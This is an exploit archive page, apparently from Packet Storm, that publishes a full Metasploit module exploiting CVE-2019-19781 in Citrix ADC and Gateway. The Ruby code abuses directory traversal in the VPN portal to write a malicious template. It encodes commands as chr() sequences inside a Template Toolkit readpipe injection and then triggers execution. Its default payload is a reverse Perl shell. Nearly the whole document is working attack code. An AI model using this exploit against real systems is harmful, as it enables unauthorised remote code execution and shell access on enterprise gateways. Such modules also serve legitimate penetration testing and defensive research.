what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Citrix Application Delivery Controller / Gateway 10.5 Remote Code Execution

Citrix Application Delivery Controller / Gateway 10.5 Remote Code Execution
Posted Jan 13, 2020
Authored by Ramella Sebastien | Site metasploit.com

This Metasploit module exploits a remote code execution vulnerability in Citrix Application Delivery Controller and Gateway version 10.5.

tags | exploit, remote, code execution
advisories | CVE-2019-19781
SHA-256 | bec68a9167966887bfc41632126f3582e09608bebf23999be1ca53bae2414759

Citrix Application Delivery Controller / Gateway 10.5 Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Citrix ADC Remote Code Execution',
'Description' => %q(
An issue was discovered in Citrix Application Delivery Controller (ADC)
and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal.
),
'Author' => [
'RAMELLA Sébastien' # https://www.pirates.re/
],
'References' => [
['CVE', '2019-19781'],
['URL', 'https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/'],
['EDB', '47901'],
['EDB', '47902']
],
'DisclosureDate' => '2019-12-17',
'License' => MSF_LICENSE,
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => true,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl meterpreter'
}
},
'Targets' => [
['Unix (remote shell)',
'Type' => :cmd_shell,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_perl',
'DisablePayloadHandler' => 'false'
}
],
['Unix (command-line)',
'Type' => :cmd_generic,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/generic',
'DisablePayloadHandler' => 'true'
}
],
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))

register_options([
OptAddress.new('RHOST', [true, 'The target address'])
])

register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])

deregister_options('RHOSTS')
end

def execute_command(command, opts = {})
filename = Rex::Text.rand_text_alpha(16)
nonce = Rex::Text.rand_text_alpha(6)

request = {
'method' => 'POST',
'uri' => normalize_uri('vpn', '..', 'vpns', 'portal', 'scripts', 'newbm.pl'),
'headers' => {
'NSC_USER' => '../../../netscaler/portal/templates/' + filename,
'NSC_NONCE' => nonce
},
'vars_post' => {
'url' => 'http://127.0.0.1',
'title' => "[% template.new({'BLOCK'='print readpipe(#{get_chr_payload(command)})'})%]",
'desc' => 'desc',
'UI_inuse' => 'RfWeb'
},
'encode_params' => false
}

begin
received = send_request_cgi(request)
rescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN
print_error('Unable to connect on the remote target.')
end
return false unless received

if received.code == 200
vprint_status("#{received.get_html_document.text}")
sleep 2

request = {
'method' => 'GET',
'uri' => normalize_uri('vpn', '..', 'vpns', 'portal', filename + '.xml'),
'headers' => {
'NSC_USER' => nonce,
'NSC_NONCE' => nonce
}
}

## Trigger to gain exploitation.
begin
send_request_cgi(request)
received = send_request_cgi(request)
rescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN
print_error('Unable to connect on the remote target.')
end
return false unless received
return received
end

return false
end

def get_chr_payload(command)
chr_payload = command
i = chr_payload.length

output = ""
chr_payload.each_char do | c |
i = i - 1
output << "chr(" << c.ord.to_s << ")"
if i != 0
output << " . "
end
end

return output
end

def check
begin
received = send_request_cgi(
"method" => "GET",
"uri" => normalize_uri('vpn', '..', 'vpns', 'cfg', 'smb.conf')
)
rescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN
print_error('Unable to connect on the remote target.')
end

if received && received.code != 200
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Vulnerable
end

def exploit
unless check.eql? Exploit::CheckCode::Vulnerable
unless datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'The target is not exploitable.')
end
else
print_good('The target appears to be vulnerable.')
end

case target['Type']
when :cmd_generic
print_status("Sending #{datastore['PAYLOAD']} command payload")
vprint_status("Generated command payload: #{payload.encoded}")

received = execute_command(payload.encoded)
if (received) && (datastore['PAYLOAD'] == "cmd/unix/generic")
print_warning('Dumping command output in parsed http response')
print_good("#{received.get_html_document.text}")
else
print_warning('Empty response, no command output')
return
end

when :cmd_shell
print_status("Sending #{datastore['PAYLOAD']} command payload")
vprint_status("Generated command payload: #{payload.encoded}")

execute_command(payload.encoded)
end
end

end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close